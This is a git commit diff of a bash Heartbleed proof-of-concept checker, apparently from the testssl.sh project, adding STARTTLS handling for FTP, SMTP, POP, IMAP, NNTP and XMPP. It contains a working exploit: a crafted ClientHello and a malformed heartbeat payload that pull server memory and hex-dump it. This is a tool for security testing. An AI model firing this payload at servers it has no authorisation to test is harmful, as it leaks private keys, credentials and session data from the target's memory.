works also for nntp,ftp,imap,pop,xmpp +starttls now

This commit is contained in:
Dirk 2015-07-01 13:01:16 +02:00
parent 83dc3f707f
commit 21119d6d01

View File

@ -10,37 +10,37 @@
readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' readonly PS4='${LINENO}: ${FUNCNAME[0]:+${FUNCNAME[0]}(): }'
NODE="" [ -z "$1" ] && exit 1
NODE="$1"
PORT="443" PORT="443"
SLEEP=2 SLEEP=2
MAXSLEEP=10
SOCKREPLY="" SOCKREPLY=""
COL_WIDTH=32 COL_WIDTH=32
[ -z "$1" ] && exit 1
# TLS 1.0=x01 1.1=0x02, 1.2=0x3 # TLS 1.0=x01 1.1=0x02, 1.2=0x3
# the PoC contains per default only check for TLS1.0 as the is the least common denominator
TLSV=${2:-01} TLSV=${2:-01}
heartbleed_payload="\x18\x03\x$TLSV\x00\x03\x01\x40\x00" heartbleed_payload="\x18\x03\x$TLSV\x00\x03\x01\x40\x00"
## ^^^^^^^ this is the thing! ## ^^^^^^^ this is the whole thing!
client_hello=" client_hello="
# TLS header ( 5 bytes) # TLS header (5 bytes)
,x16, # Content type (x16 for handshake) ,x16, # Content type (x16 for handshake)
x03, x$TLSV, # TLS Version x03, x$TLSV, # TLS Version
x00, xdc, # Length x00, xdc, # Length
# Handshake header # Handshake header
x01, # Type (x01 for ClientHello) x01, # Type (x01 for ClientHello)
x00, x00, xd8, # Length x00, x00, xd8, # Length
x03, x$TLSV, # TLS Version x03, x$TLSV, # TLS Version
# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html # Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
x53, x43, x5b, x90, x9d, x9b, x72, x0b, x53, x43, x5b, x90, x9d, x9b, x72, x0b,
xbc, x0c, xbc, x2b, x92, xa8, x48, x97, xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
xcf, xbd, x39, x04, xcc, x16, x0a, x85, xcf, xbd, x39, x04, xcc, x16, x0a, x85,
x03, x90, x9f, x77, x04, x33, xd4, xde, x03, x90, x9f, x77, x04, x33, xd4, xde,
x00, # Session ID length x00, # Session ID length
x00, x66, # Cipher suites length x00, x66, # Cipher suites length
# Cipher suites (51 suites) # Cipher suites (51 suites)
xc0, x14, xc0, x0a, xc0, x22, xc0, x21, xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
x00, x39, x00, x38, x00, x88, x00, x87, x00, x39, x00, x38, x00, x88, x00, x87,
@ -57,7 +57,7 @@ x00, x09, x00, x14, x00, x11, x00, x08,
x00, x06, x00, x03, x00, xff, x00, x06, x00, x03, x00, xff,
x01, # Compression methods length x01, # Compression methods length
x00, # Compression method (x00 for NULL) x00, # Compression method (x00 for NULL)
x00, x49, # Extensions length x00, x49, # Extensions length
# Extension: ec_point_formats # Extension: ec_point_formats
x00, x0b, x00, x04, x03, x00, x01, x02, x00, x0b, x00, x04, x03, x00, x01, x02,
# Extension: elliptic_curves # Extension: elliptic_curves
@ -73,22 +73,20 @@ x00, x23, x00, x00,
# Extension: Heartbeat # Extension: Heartbeat
x00, x0f, x00, x01, x01 x00, x0f, x00, x01, x01
" "
msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'` #msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')
parse_hn_port() { parse_hn_port() {
NODE="$1" # strip "https", supposed it was supplied additionally
echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
# strip "https", supposed it was supplied additionally # strip trailing urlpath
echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' ` NODE=`echo $NODE | sed -e 's/\/.*$//'`
# strip trailing urlpath # determine port, supposed it was supplied additionally
NODE=`echo $NODE | sed -e 's/\/.*$//'` echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
echo -e "\n===> connecting to $NODE:$PORT\n"
# determine port, supposed it was supplied additionally
echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
echo -e "\n===> connecting to $NODE:$PORT\n"
} }
wait_kill(){ wait_kill(){
@ -109,20 +107,15 @@ wait_kill(){
socksend() { socksend() {
data=`echo $1` data=`echo $1`
echo "\"$data\"" echo "\"$data\""
echo -en "$data" >&5 & echo -en "$data" >&5 &
sleep $SLEEP sleep $SLEEP
} }
sockread() { sockread() {
reply=$(dd bs=$1 count=1 <&5 2>/dev/null) [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
wait_kill $! $SLEEP
}
sockread1() {
[[ "x$2" == "x" ]] && maxsleep=10 || maxsleep=$2
ret=0 ret=0
ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7 ddreply=$(mktemp /tmp/ddreply.XXXXXX) || return 7
@ -136,34 +129,70 @@ sockread1() {
} }
# arg1: string to send # arg1: string to send
# arg2: success string, yet to be parsed
starttls_line0() { starttls_line0() {
echo "$1" >&5 echo "$1" >&5
cat <&5 & cat <&5 &
wait_kill $! $SLEEP wait_kill $! $SLEEP
#sleep $SLEEP #sleep $SLEEP
} }
starttls_line1() { starttls_line1() {
echo "$1" >&5 echo "$1" >&5
while true; do while true; do
read line <&5 read line <&5
echo $line echo $line
break break
done done
} }
fd_socket(){ fixme(){
if ! exec 5<> /dev/tcp/$NODE/$PORT; then tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
echo "`basename $0`: unable to connect to $NODE:$PORT" }
exit 2
fi
case "$1" in # port
25) starttls_line0 "EHLO testssl.sh" fd_socket(){
starttls_line0 "STARTTLS" if ! exec 5<> /dev/tcp/$NODE/$PORT; then
;; echo "`basename $0`: unable to connect to $NODE:$PORT"
443|*) ;; exit 2
esac fi
case "$1" in # port
21) # https://tools.ietf.org/html/rfc4217
starttls_line0 "FEAT"
starttls_line0 "AUTH TLS"
;;
25) #https://tools.ietf.org/html/rfc4217
starttls_line0 "EHLO testssl.sh" "250"
starttls_line0 "STARTTLS" "220"
;;
110) # https://tools.ietf.org/html/rfc2595
starttls_line0 "STLS" "OK"
;;
119|433) # https://tools.ietf.org/html/rfc4642
starttls_line0 "CAPABILITIES" "101"
starttls_line0 "STARTTLS" "382"
;;
143) # https://tools.ietf.org/html/rfc2595
starttls_line0 "a001 CAPABILITY" "OK"
starttls_line0 "a002 STARTTLS" "OK"
;;
389) # https://tools.ietf.org/html/rfc2830, https://tools.ietf.org/html/rfc4511
fixme "LDAP: FIXME not yet implemented"
exit 1
;;
674) # https://tools.ietf.org/html/rfc2595
fixme "ACAP: FIXME not yet implemented"
exit 1
;;
5222)
starttls_line0 "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>" "proceed"
fixme "XMPP: FIXME not yet implemented"
;;
443|995|993|465|*) # we don't need a special command here
;;
esac
echo
} }
close_socket(){ close_socket(){
@ -182,12 +211,14 @@ echo "##### sending standard client hello with TLS version 03,$TLSV:"
socksend "$msg" $TLSV socksend "$msg" $TLSV
sockread 16384 sockread 16384
#sockread 10000
echo "##### reading server hello:" echo "##### reading server hello:"
#cat $SOCKREPLY | xxd | head -20 echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -10
echo -e "$reply" | xxd | head -2
echo "[...]" echo "[...]"
echo echo
if [ 1 -ge $(echo "$SOCKREPLY" | xxd | wc -l) ]; then
tput bold; tput setaf 5; echo "TLS handshake failed"; tput sgr0
exit 1
fi
echo "###### sending payload with TLS version 03,$TLSV:" echo "###### sending payload with TLS version 03,$TLSV:"
socksend $heartbleed_payload $TLSV socksend $heartbleed_payload $TLSV
@ -195,17 +226,15 @@ socksend $heartbleed_payload $TLSV
sockread 65534 sockread 65534
echo "###### heartbleed reply: " echo "###### heartbleed reply: "
echo "=============================" echo "============================="
#cat $SOCKREPLY | xxd | head -20 echo "$SOCKREPLY" | xxd -c$COL_WIDTH | head -20
echo -e "$reply" | xxd -c$COL_WIDTH
echo "=============================" echo "============================="
lines_returned=`echo -e "$reply" | xxd | wc -l` if [ $(echo "$SOCKREPLY" | xxd | wc -l) -gt 1 ]; then
if [ $lines_returned -gt 1 ]; then tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0 ret=1
ret=1
else else
tput bold; tput setaf 2; echo "ok"; tput sgr0 tput bold; tput setaf 2; echo "ok"; tput sgr0
ret=0 ret=0
fi fi
echo echo
@ -213,5 +242,5 @@ close_socket
exit $ret exit $ret
# vim:tw=100:ts=5:sw=5 # vim:tw=100:ts=5:sw=5:expandtab
# $Id: heartbleed.bash,v 1.9 2015/07/01 08:12:36 dirkw Exp $ # $Id: heartbleed.bash,v 1.11 2015/07/01 10:56:57 dirkw Exp $